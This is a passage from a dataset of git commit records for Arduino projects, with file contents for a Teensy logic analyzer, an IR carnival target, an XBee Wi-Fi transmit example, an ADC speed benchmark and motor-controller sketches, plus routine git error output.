[%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 16\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#-1\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"strb %[workingValue], [%[inputPtr]],#7\\n\\t\"\n\/\/ 1024\n \"subs %[loopCount], %[loopCount],#1\\n\\t\"\n \"bne asm3_record_loop\\n\\t\"\n\n \"b asm3_exit\\n\\t\"\n\n \"asm3_usb_exit:\\n\\t\"\n \"mov %[USB0_ISTAT_register], #1\\n\\t\"\n\n \"asm3_exit:\\n\\t\"\n\n : [inputPtr] \"+l\" (inputPtr),\n [trigMask] \"+r\" (triggerMask),\n [trigValue] \"+r\" (sv.triggerValue[0]),\n [portDataInputRegister] \"+l\" (portDataInputRegister),\n [USB0_ISTAT_register] \"+l\" (USB0_ISTAT_register),\n [tempValue] \"+l\" (tempValue),\n [loopCount] \"+l\" (loopCount),\n [workingValue] \"+l\" (workingValue)\n :: \"cc\");\n\n unmaskInterrupts ();\n\n#if Teensy_3_6 || Teensy_4_0\n if (fillingCache) {\n goto ReturnFromFillingCache;\n }\n#endif\n\n \/\/ Assembly sets the register address to 1 to indicate USB interrupt\n if ((uint32_t)USB0_ISTAT_register == 1)\n {\n DEBUG_SERIAL(print(\" Halt due to USB interrupt\"));\n set_led_off ();\n SUMPreset();\n }\n\n set_led_off ();\n}\n\n#endif \/\/ if Teensy 4\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'record_asm_t4.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"39fe5893b3ed6f9b81c2486c6483d9f04eb95692","subject":"lay foundation for more sensor drivers","message":"lay foundation for more sensor drivers\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ff895354a7bed9316b2105ba6a2e8161cb23b23e","subject":"add wifi control","message":"add wifi control\n","repos":"wsnook\/farm,wsnook\/farm,wsnook\/farm","old_file":"firmware\/photon.ino","new_file":"firmware\/photon.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/farm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"71b5f15816c9dba5feb3963c5abb1f511af59d7b","subject":"Added files via upload","message":"Added files via upload","repos":"kolsan\/StarWarsCarnival","old_file":"002TargetDownCenter\/DianaParteInferior.ino","new_file":"002TargetDownCenter\/DianaParteInferior.ino","new_contents":"\/\/Comunicacion i2c\n\/\/1-manager\n\/\/2 diana inferior izqda 3 diana inferior central 4 diana inferior dcha\n\/\/5 diana superior medio 6 diana superior alta\n\n\/\/ Receptor - Seria la diana de la feria\n#include <IRremote.h>\n#include <Servo.h>\n#include <Wire.h>\n\nconst int ledPin = 13;\nint RECV_PIN = 11;\nServo myservo;\nint pos = 15;\nboolean Playing;\nIRrecv irrecv(RECV_PIN);\nchar MessageReceived;\nunsigned long timer = millis();\nunsigned long time_between_target = 7;\nint randNumber = 0;\nint UpDegrees = 70; \/\/Grados a los que la diana esta vertical\nint DownDegrees = 10; \/\/Grados a los que la diana esta abajo\nint Shoots = 0; \/\/Guardaremos el numero de diana y en funci\u00f3n de ella modificaremos la dificultad\nboolean TargetUp;\nconst int delayForSound = 100;\n\nString texto;\ndecode_results results;\n\nvoid setup()\n{\n Serial.begin(9600);\n irrecv.enableIRIn(); \/\/ Start the receiver\n myservo.attach(9);\n \/\/Serial.println (\"Comenzamos...\");\n myservo.write(DownDegrees);\n delay(15);\n Playing = false;\n pinMode(ledPin, OUTPUT);\n Wire.begin(3); \/\/ join i2c bus with address #2\n Wire.onReceive(receiveEvent); \/\/ register event\n \/\/Serial.println (millis());\u00e7\n \/\/Manager.begin(9600);\n\n}\n\nvoid (* resetFunc) (void) = 0;\n\n\nvoid loop() {\n \/\/Esperamos la se\u00f1al de que comience la partida -1(49) - Acabar la partida 0 (48) - 2 modo demo (50) - 3 tiro acertado (51)\n\n\n if (Playing)\n {\n\n\n\n if ((timer < millis()) && (!TargetUp))\n { \/\/levantamos la diana transcurrido un tiempo aleatorio desde el ultimo blanco\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"go001\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n delay (delayForSound);\n for (pos = DownDegrees; pos <= UpDegrees; pos += 1) \/\/ goes from 0 degrees to 180 degrees\n { \/\/ in steps of 1 degree\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 5ms for the servo to reach the position\n }\n TargetUp = true;\n\n \/\/bajaremos la diana en 1-5 segundos depende de la dificultad\n\n switch (Shoots) {\n case 2:\n time_between_target = 5;\n \/\/Serial.println (time_between_target);\n break;\n case 3:\n time_between_target = 4;\n \/\/Serial.println (time_between_target);\n break;\n\n case 5:\n time_between_target = 3;\n \/\/Serial.println (time_between_target);\n break;\n\n case 7:\n time_between_target = 1;\n \/\/Serial.println (time_between_target);\n break;\n }\n }\n\n if (timer + (time_between_target * 1000) < millis()) \/\/Si ha pasado el tiempo marcado desde el ultimo tiro, bajamos la diana\n {\n \/\/ Serial.println (timer);\n \/\/ Serial.println (time_between_target * 1000);\n \/\/ Serial.println (timer + (time_between_target * 1000) );\n \/\/ Serial.println (millis());\n \/\/ Serial.println (\"Aqui2\");\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"nok001\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n for (pos = UpDegrees; pos >= DownDegrees; pos -= 1)\n {\n myservo.write(pos);\n delay(5);\n }\n TargetUp = false;\n randNumber = random(2, time_between_target);\n \/\/Serial.println (randNumber);\n timer = randNumber * 1000 + millis();\n randomSeed(analogRead(0));\n irrecv.resume(); \/\/ Receive the next value\n \/\/ Serial.println (timer);\n \/\/ Serial.println (millis());\n \/\/ Serial.println (\"Aqui3\");\n\n }\n\n\n\n if (irrecv.decode(&results) && TargetUp) {\n \/\/Serial.println(results.value, DEC);\n irrecv.resume(); \/\/ Receive the next value\n if (results.value == 2704) \/\/valor que dispara el emisor de infrarrojos (apagado de tele sony)\n {\n \/\/Serial.print (\"Blanco: \");\n \/\/Manager.listen();\n Wire.beginTransmission(1); \/\/ transmit to device #1\n Wire.write(\"ok001\"); \/\/ sends one byte\n Wire.endTransmission(); \/\/ stop transmitting\n myservo.write(UpDegrees - 30);\n delay (1500);\n Shoots = Shoots + 1;\n randNumber = random(2, time_between_target);\n \/\/Serial.println (randNumber);\n timer = randNumber * 1000 + millis();\n randomSeed(analogRead(0));\n \/\/Serial.println (timer);\n \/\/Serial.println (millis());\n for (pos = UpDegrees - 30; pos >= DownDegrees; pos -= 1) \/\/ goes from 180 degrees to 0 degrees\n {\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 15ms for the servo to reach the position\n }\n TargetUp = false;\n irrecv.resume();\n \/\/Serial.println (pos);\n \/\/delay(300);\n }\n }\n\n }\n\n\n}\n\n\/\/ function that executes whenever data is received from master\n\/\/ this function is registered as an event, see setup()\nvoid receiveEvent(int howMany) {\n while ( Wire.available()) { \/\/ loop through all but the last\n char c = Wire.read(); \/\/ receive byte as a character\n texto = texto + c;\n Serial.print(c); \/\/ print the character\n }\n\n if (texto == \"rst\")\n {\n resetFunc();\n }\n if (texto == \"go\")\n {\n Playing = true;\n Serial.println (\"Comienza la partida!!\");\n randomSeed(analogRead(0));\n for (pos = DownDegrees; pos <= UpDegrees; pos += 1) \/\/ goes from 0 degrees to 180 degrees\n { \/\/ in steps of 1 degree\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 15ms for the servo to reach the position\n time_between_target = 7;\n Shoots = 0;\n digitalWrite(ledPin, HIGH);\n\n }\n TargetUp = true;\n timer = millis();\n }\n if (texto == \"end\")\n {\n Playing = false;\n Serial.println (\"Fin de la partida!!\");\n for (pos = UpDegrees; pos >= DownDegrees; pos -= 1) \/\/ goes from 180 degrees to 0 degrees\n {\n myservo.write(pos); \/\/ tell servo to go to position in variable 'pos'\n delay(5); \/\/ waits 5ms for the servo to reach the position\n }\n TargetUp = false;\n Shoots = 0;\n digitalWrite(ledPin, LOW);\n }\n if (texto == \"gup\")\n {\n\n myservo.write(UpDegrees);\n }\n if (texto == \"gdo\")\n {\n\n myservo.write(DownDegrees);\n }\n if (texto == \"gme\")\n {\n\n myservo.write(UpDegrees \/ 2);\n }\n\n\n\n texto = \"\";\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '002TargetDownCenter\/DianaParteInferior.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5b87c238e6d04e7dd304fb428e0b0658254375a8","subject":"Added Initial Commit","message":"Added Initial Commit\n","repos":"jcapellman\/jcTM,jcapellman\/jcTM","old_file":"arduino\/temperature.ino","new_file":"arduino\/temperature.ino","new_contents":"#include \"C:\\Intel\\arduino-1.6.5\\libraries\\rgb_lcd.h\"\n\nrgb_lcd lcd;\n\n \nconst int colorG = 0;\nconst int colorR = 0; \nconst int colorB = 255;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n lcd.begin(16, 2);\n lcd.setRGB(colorR, colorG, colorB);\n lcd.print(\"Temperature is\");\n}\n\nvoid loop() {\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/temperature.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d44c2eb29284fc27458b05c14e8861f0cd41e095","subject":"New example sketch to demonstrate maximum rate transmission over TCP","message":"New example sketch to demonstrate maximum rate transmission over TCP\n","repos":"cjbearman\/xbee-wifi-spi-arduino,cjbearman\/xbee-wifi-spi-arduino","old_file":"examples\/max_tx\/max_tx.ino","new_file":"examples\/max_tx\/max_tx.ino","new_contents":"\/*\n * File basic_tx.ino\n *\n * Synopsis Simple example sketch to demonstrate transmission of data\n * at the highest possible rate\n *\n * Author Chris Bearman\n *\n * Version 1.0\n *\/\n#include <XbeeWifi.h>\n\n\/\/ These are the pins that we are using to connect to the Xbee\n#define XBEE_RESET 15\n#define XBEE_ATN 2\n#define XBEE_SELECT SS\n#define XBEE_DOUT 23\n\n\/\/ These are the configuration parameters we're going to use\n#define CONFIG_ENCMODE XBEE_SEC_ENCTYPE_WPA2 \/\/ Network type is WPA2 encrypted\n#define CONFIG_SSID \"Example\" \/\/ SSID\n#define CONFIG_KEY \"whatever\" \/\/ Password\n\n\/\/ Create an xbee object to handle things for us\nXbeeWifi xbee;\n\n\/\/ Setup routine\n\n\/\/ Size and buffer to hold our test data\n#define TEST_FRAME_SIZE 1024\nchar testFrame[TEST_FRAME_SIZE];\n\nvoid setup()\n{\n \/\/ Serial at 57600\n Serial.begin(57600);\n \n \/\/ Initialize the xbee\n bool result = xbee.init(XBEE_SELECT, XBEE_ATN, XBEE_RESET, XBEE_DOUT);\n\n if (result) {\n \/\/ Initialization okay so far, send setup parameters - if anything fails, result goes false\n result &= xbee.at_cmd_byte(XBEE_AT_NET_TYPE, XBEE_NET_TYPE_IBSS_INFRASTRUCTURE);\n result &= xbee.at_cmd_str(XBEE_AT_NET_SSID, CONFIG_SSID);\n result &= xbee.at_cmd_byte(XBEE_AT_NET_ADDRMODE, XBEE_NET_ADDRMODE_DHCP);\n result &= xbee.at_cmd_byte(XBEE_AT_SEC_ENCTYPE, CONFIG_ENCMODE);\n if (CONFIG_ENCMODE != XBEE_SEC_ENCTYPE_NONE) {\n result &= xbee.at_cmd_str(XBEE_AT_SEC_KEY, CONFIG_KEY);\n }\n }\n \n if (!result) {\n \/\/ Something failed\n Serial.println(\"XBee Init Failed\");\n while (true) { \/* Loop forever - game over *\/}\n } else { \n Serial.println(\"XBee found and configured\");\n } \n \n \/\/ Set up data in test frame\n for (int i = 0 ; i < TEST_FRAME_SIZE; i++) {\n testFrame[i] = 65 + (i % 26); \/\/(A thru Z, repeating)\n }\n \n}\n\n\/\/ To help split lines\nint split = 0;\n\n\/\/ Main run loop\n\/\/ Transmit \"Hello World\" on UDP, to 192.168.1.150 every 1 minute (using port 12345)\nvoid loop()\n{\n \/\/ Process the XBEE\n xbee.process();\n\n if (xbee.last_status != XBEE_MODEM_STATUS_JOINED) {\n Serial.println(\"Not yet up and running\");\n delay(1000);\n } else { \n \/\/ Create an s_txoptions object to describe the port, protocol and behaviors\n s_txoptions txopts;\n txopts.dest_port=12345;\n txopts.source_port=12345;\n txopts.leave_open=true;\n txopts.protocol = XBEE_NET_IPPROTO_TCP; \/\/ Change to UDP if desired\n \n \/\/ Create a binary IP address representation \n char ip[] = { 192, 168, 1, 150 };\n \n \/\/ Transmit the frame\n \/\/ You could turn off frame confirmation (add false as fifth option) but you'll overwhelm the device and loose \n \/\/ most data unless you can tweak your transmits to exactly the best intervals...\n if (xbee.transmit((uint8_t *)ip, &txopts, (uint8_t *)testFrame, TEST_FRAME_SIZE)) {\n \/\/ Send \"o\" to serial for sent Okay\n Serial.print(\"o\");\n } else {\n \/\/ \"X\" if send failed\n Serial.print(\"X\");\n } \n \n \/\/ Start a new line every sixty or so characters\n if ((++split % 60) == 0) {\n Serial.println(\"\");\n }\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/max_tx\/max_tx.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"02401c00f769c15db568651457d69eec7eb8555e","subject":"second .ino start of actual implementation.","message":"second .ino start of actual implementation.\n","repos":"SEMT2Group1\/Arduino_Sketches,CasperPlatform\/Arduino_Sketches,CasperPlatform\/Arduino_Sketches,SEMT2Group1\/Arduino_Sketches","old_file":"Twisted_Python_Server_Serial\/workingPythonSerialMotorControl_v2\/workingPythonSerialMotorControl_v2\/workingPythonSerialMotorControl_v2.ino","new_file":"Twisted_Python_Server_Serial\/workingPythonSerialMotorControl_v2\/workingPythonSerialMotorControl_v2\/workingPythonSerialMotorControl_v2.ino","new_contents":"#include <Smartcar.h>\n\nCar car;\n\nboolean commandComplete = false; \/\/ whether the string is complete\nint speed;\nint angle;\n\nvoid setup() {\n car.begin(); \/\/initialize the car using the encoders and the gyro\n Serial.begin(9600);\n \n}\n\nvoid loop() {\n\n if (commandComplete) {\n\n car.setSpeed(speed);\n car.setAngle(angle);\n \n\n\n commandComplete = false;\n }\n \n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n int i = 0;\n while (Serial.available()) {\n i++;\n byte bytearray[7] = (byte)Serial.read();\n Serial.println();\n \n\n\n if (bytearray[i] == '\\n') {\n commandComplete = true;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Twisted_Python_Server_Serial\/workingPythonSerialMotorControl_v2\/workingPythonSerialMotorControl_v2\/workingPythonSerialMotorControl_v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"686ad08fe5043f5bacb24cf2817f3bf0480ca450","subject":"moved LCD_Scope_example to examples folder","message":"moved LCD_Scope_example to examples folder\n","repos":"Sonoscopia\/KidModular,Sonoscopia\/KidModular","old_file":"examples\/LCD_Scope_example\/LCD_Scope_example.ino","new_file":"examples\/LCD_Scope_example\/LCD_Scope_example.ino","new_contents":"\/\/ simple (real-time) sinewave refresh and draw \n\n\/\/ test LCD screen dimensions with 2 pots connected on A0 and A1 (x, y)\n\n#include <UTFT.h>\n\nint px=0, x=1;\nfloat py=0, y=0;\nfloat sinewave;\nfloat inc = 0.1;\n\nUTFT lcd(CTE32HR,38,39,40,41);\n\nvoid setup(){\n Serial.begin(9600);\n lcd.InitLCD(LANDSCAPE);\n lcd.clrScr();\n}\n\nvoid loop(){\n if(Serial.available() > 0){\n inc = Serial.parseFloat();\n Serial.println(inc);\n }\n \n \/\/ draw sine behind\n lcd.setColor(VGA_RED);\n sinewave+= inc; \n if(sinewave>6.28) sinewave = 0.f;\n py = y;\n y = 160-(sin(sinewave) * 80.f);\n \n x++;\n if(x > 479) x = 0;\n px = x-1; \n lcd.drawLine(px, py, x, y);\n \n \/\/clear vertical line ahead\n lcd.setColor(VGA_BLACK);\n if(x<1) lcd.drawLine(0, 0, 0, 319);\n lcd.drawLine(x+1, 0, x+1, 319);\n \n delay(5);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/LCD_Scope_example\/LCD_Scope_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5f21bbaea43630d0ae46e6bd479fcde1fc3240a6","subject":"measure conversion speed for all settings","message":"measure conversion speed for all settings\n","repos":"pedvide\/ADC,pedvide\/ADC","old_file":"examples\/conversionSpeed\/conversionSpeed.ino","new_file":"examples\/conversionSpeed\/conversionSpeed.ino","new_contents":"\/* Example for analogContinuousRead\n* It measures continuously the voltage on pin A9,\n* Write v and press enter on the serial console to get the value\n* Write c and press enter on the serial console to check that the conversion is taking place,\n* Write t to check if the voltage agrees with the comparison in the setup()\n* Write s to stop the conversion, you can restart it writing r.\n*\/\n\n#include <ADC.h>\n#include <ADC_util.h>\n\nconst int readPin = A2; \/\/ ADC0 or ADC1\n\nvolatile uint32_t value = 0;\n#if defined(ADC_TEENSY_4)\nconst uint32_t NUM_SAMPLES = 10000; \n#else\nconst uint32_t NUM_SAMPLES = 1000; \n#endif\nuint32_t num_samples = NUM_SAMPLES; \nelapsedMicros timeElapsed;\nvolatile uint32_t num_iter = 0;\n\nADC *adc = new ADC(); \/\/ adc object\n\nvoid setup() {\n\n pinMode(LED_BUILTIN, OUTPUT);\n pinMode(readPin, INPUT_PULLUP);\n\n Serial.begin(9600);\n delay(100);\n\n \/\/ Single-shot conversions. The fastest way to do conversions is with continuous mode (see below)\n Serial.println(\"Single-shot conversion speeds.\"); \n for(auto average : averages_list) {\n adc->setAveraging(average, ADC_0); \/\/ set number of averages\n for (auto resolution : resolutions_list) {\n adc->setResolution(resolution, ADC_0); \/\/ set bits of resolution\n for (auto conv_speed : conversion_speed_list) {\n adc->setConversionSpeed(conv_speed, ADC_0); \/\/ change the conversion speed\n for (auto samp_speed: sampling_speed_list) {\n adc->setSamplingSpeed(samp_speed, ADC_0); \/\/ change the sampling speed\n \n adc->adc0->wait_for_cal();\n\n num_samples = (int)NUM_SAMPLES\/average;\n\n timeElapsed = 0;\n value = 0;\n for(uint32_t i=0; i<num_samples; i++) {\n value += adc->adc0->analogRead(readPin);\n }\n double time_us = (float)timeElapsed\/num_samples;\n Serial.print(\"Average: \"); Serial.print(average);\n Serial.print(\", Resolution: \"); Serial.print(resolution);\n Serial.print(\", Conversion speed: \"); Serial.print(getConversionEnumStr(conv_speed));\n Serial.print(\", Sampling speed: \"); Serial.print(getSamplingEnumStr(samp_speed)); \n Serial.print(\". Time: \"); Serial.print(time_us); Serial.print(\" us.\");\n Serial.print(\" Value: \"); Serial.println(value\/num_samples*1.0\/adc->adc0->getMaxValue(), 6);\n }\n }\n }\n }\n\n\n \/\/ Continuous mode\n Serial.println(\"Continuous mode conversion speeds.\"); \n adc->enableInterrupts(adc0_isr, ADC_0);\n for(auto average : averages_list) {\n adc->setAveraging(average, ADC_0); \/\/ set number of averages\n for (auto resolution : resolutions_list) {\n adc->setResolution(resolution, ADC_0); \/\/ set bits of resolution\n for (auto conv_speed : conversion_speed_list) {\n adc->setConversionSpeed(conv_speed, ADC_0); \/\/ change the conversion speed\n for (auto samp_speed: sampling_speed_list) {\n adc->setSamplingSpeed(samp_speed, ADC_0); \/\/ change the sampling speed\n \n adc->adc0->wait_for_cal();\n\n num_samples = NUM_SAMPLES\/average;\n\n value = 0;\n num_iter = 0;\n timeElapsed = 0;\n adc->startContinuous(readPin, ADC_0);\n while (num_iter<num_samples) {}\n double time_us = (float)timeElapsed\/num_samples;\n adc->stopContinuous(ADC_0);\n Serial.print(\"Average: \"); Serial.print(average);\n Serial.print(\", Resolution: \"); Serial.print(resolution);\n Serial.print(\", Conversion speed: \"); Serial.print(getConversionEnumStr(conv_speed));\n Serial.print(\", Sampling speed: \"); Serial.print(getSamplingEnumStr(samp_speed)); \n Serial.print(\". Time: \"); Serial.print(time_us); Serial.print(\" us.\");\n Serial.print(\" Value: \"); Serial.println(value\/num_samples*1.0\/adc->adc0->getMaxValue(), 6);\n }\n }\n }\n }\n}\n\n\nvoid loop() {\n \/\/ Print errors, if any.\n if(adc->adc0->fail_flag != ADC_ERROR::CLEAR) {\n Serial.print(\"ADC0: \"); Serial.println(getStringADCError(adc->adc0->fail_flag));\n }\n #if ADC_NUM_ADCS > 1\n if(adc->adc1->fail_flag != ADC_ERROR::CLEAR) {\n Serial.print(\"ADC1: \"); Serial.println(getStringADCError(adc->adc1->fail_flag));\n }\n #endif\n\n digitalWriteFast(LED_BUILTIN, !digitalReadFast(LED_BUILTIN));\n\n delay(100);\n\n}\n\nvoid adc0_isr(void) {\n if(num_iter<num_samples) {\n value += (uint16_t)adc->adc0->analogReadContinuous();\n num_iter++;\n } else { \/\/ clear interrupt\n adc->adc0->analogReadContinuous();\n }\n \/\/digitalWriteFast(LED_BUILTIN, !digitalReadFast(LED_BUILTIN));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/conversionSpeed\/conversionSpeed.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"aa1c92ac50cd3f89ee83562163cb78d03ba2fef7","subject":"Add arduino code.","message":"Add arduino code.\n","repos":"Pitchless\/arceye,Pitchless\/arceye","old_file":"arduino\/arduino_md03_v_4_0.ino","new_file":"arduino\/arduino_md03_v_4_0.ino","new_contents":"\/***************************************************\n ArcEyes MD03 I2C sandbox\n by David Wilman \n MD03 over I2C code by By James Henderson 2012 \n****************************************************\/\n\n#include <Wire.h>\n#include <LCD.h>\n#include <LiquidCrystal_I2C.h>\n\n \/\/int LCD pins on I2C bus\n #define I2C_ADDR 0x27\n #define BACKLIGHT_PIN 3\n #define En_pin 2\n #define Rw_pin 1\n #define Rs_pin 0\n #define D4_pin 4\n #define D5_pin 5\n #define D6_pin 6\n #define D7_pin 7\n LiquidCrystal_I2C lcd(I2C_ADDR,En_pin,Rw_pin,Rs_pin,D4_pin,D5_pin,D6_pin,D7_pin);\n\n#define address_1 0x58 \/\/ Address of MD03 1\n#define address_2 0x59 \/\/ Address of MD03 2\n#define address_3 0x5A \/\/ Address of MD03 3\n#define SOFTREG 0x07 \/\/ Byte to read software\n#define CMDBYTE 0x00 \/\/ Command byte\n#define SPEEDBYTE 0x02 \/\/ Byte to write to speed register\n#define TEMPREG 0x04 \/\/ Byte to read temprature\n#define CURRENTREG 0x05 \/\/ Byte to read motor current\n\nconst int potPin1 = A0;\nconst int potPin2 = A1;\nconst int potPin3 = A2;\nconst int rlyPin1 = 7; \/\/ Relay Pin for break\nconst int rlyPin2 = 8; \/\/ Relay Pin for break\nconst int rlyPin3 = 9; \/\/ Relay Pin for break\nbyte direct1 = 1; \/\/ Stores what direction the motor should run in\nbyte direct2 = 1; \/\/ Stores what direction the motor should run in\nbyte direct3 = 1; \/\/ Stores what direction the motor should run in\n\/\/int temp = 0;\nint temp1 = 0; \/\/ store the temp read from MD03\nint temp2 = 0; \/\/ store the temp read from MD03\nint temp3 = 0; \/\/ store the temp read from MD03\n\/\/float current = 0; \/\/ store the current read from MD03\nfloat current1 = 0; \/\/ store the current read from MD03\nfloat current2 = 0; \/\/ store the current read from MD03\nfloat current3 = 0; \/\/ store the current read from MD03\n\/\/float speedControl = 0; \/\/store the current speed\nfloat speedControl1 = 0; \/\/store the current speed\nfloat speedControl2 = 0; \/\/store the current speed\nfloat speedControl3 = 0; \/\/store the current speed\nlong previousMillis = 0; \/\/ store the time LCD was last updated\nlong interval = 50; \/\/ time setween lcd updates\n\n\n\/\/serial\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\n\n\nvoid setup(){\n Wire.begin(); \/\/start I2C bus\n delay(100); \/\/wait for bus to stabalise\n pinMode(rlyPin1,OUTPUT); \/\/ Setup pins\n pinMode(rlyPin2,OUTPUT); \/\/ Setup pins\n pinMode(rlyPin3,OUTPUT); \/\/ Setup pins\n lcd.begin (16,2); \/\/ 2 rows x 16 char\n \/\/ Switch on the backlight\n lcd.setBacklightPin(BACKLIGHT_PIN,POSITIVE);\n lcd.setBacklight(HIGH);\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(\"ArcEyes MD03 I2C\");\n lcd.setCursor(0,1);\n lcd.print(\"SandBox\");\n delay(30);\n \/\/lcd.clear();\n \n \n \/\/serial\n \n Serial.begin(9600);\n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n}\n\nvoid loop(){\n direct1 = manualSpeedControl(address_1, potPin1, rlyPin1, direct1, speedControl1);\n direct2 = manualSpeedControl(address_2, potPin2, rlyPin2, direct2, speedControl2);\n direct3 = manualSpeedControl(address_3, potPin3, rlyPin3, direct3, speedControl3);\n \n \/\/ print the string when a newline arrives:\n if (stringComplete) {\n Serial.println(inputString); \n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n \n \n}\n\n\nbyte manualSpeedControl(int address, byte potPin, int rlyPin, byte direct, int speedControl){\n int potVal = analogRead(potPin);\n if(potVal < 450){ \/\/Sets reverse speed from Pot1\n digitalWrite(rlyPin, LOW);\n speedControl = map(potVal, 450, 0, 0, 250);\n direct = 1;\n }\n else if(potVal < 573){ \/\/ sets zero speed from Pot1\n digitalWrite(rlyPin, HIGH);\n speedControl = 0;\n }\n else if (potVal >= 574){ \/\/ sets forward speed from Pot1\n digitalWrite(rlyPin, LOW);\n speedControl = map(potVal, 574, 1023, 0, 250);\n direct = 2;\n }\n sendData(address, SPEEDBYTE, speedControl); \n sendData(address, CMDBYTE, direct); \n int temp = getData(address, TEMPREG); \/\/ Gets temperature\n delay(50);\n int current = map(getData(address, CURRENTREG), 0, 186, 0 ,20000); \/\/ Gets motor current, scale to give output in mA\n current = (current\/1000) - 0.32; \/\/convert to A\n delay(50); \n return direct;\n}\n\nbyte getData(int address, byte reg){ \/\/ function for getting data from MD03\n Wire.beginTransmission(address);\n Wire.write(reg);\n Wire.endTransmission();\n \n byte data = 0;\n \/\/for (int i; i<100; i++){\n Wire.requestFrom(address, 1); \/\/ Requests byte from MD03\n while(Wire.available() < 1); \/\/ Waits for byte to become availble\n data = Wire.read();\n \/\/}\n \n return(data);\n}\n\nvoid sendData(int address, byte reg, byte val){ \/\/ Function for sending data to MD03\n Wire.beginTransmission(address); \/\/ Send data to MD03\n Wire.write(reg);\n Wire.write(val);\n Wire.endTransmission();\n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n lcd.clear();\n lcd.setCursor(0,0);\n lcd.print(inChar);\n \/\/ add it to the inputString:\n 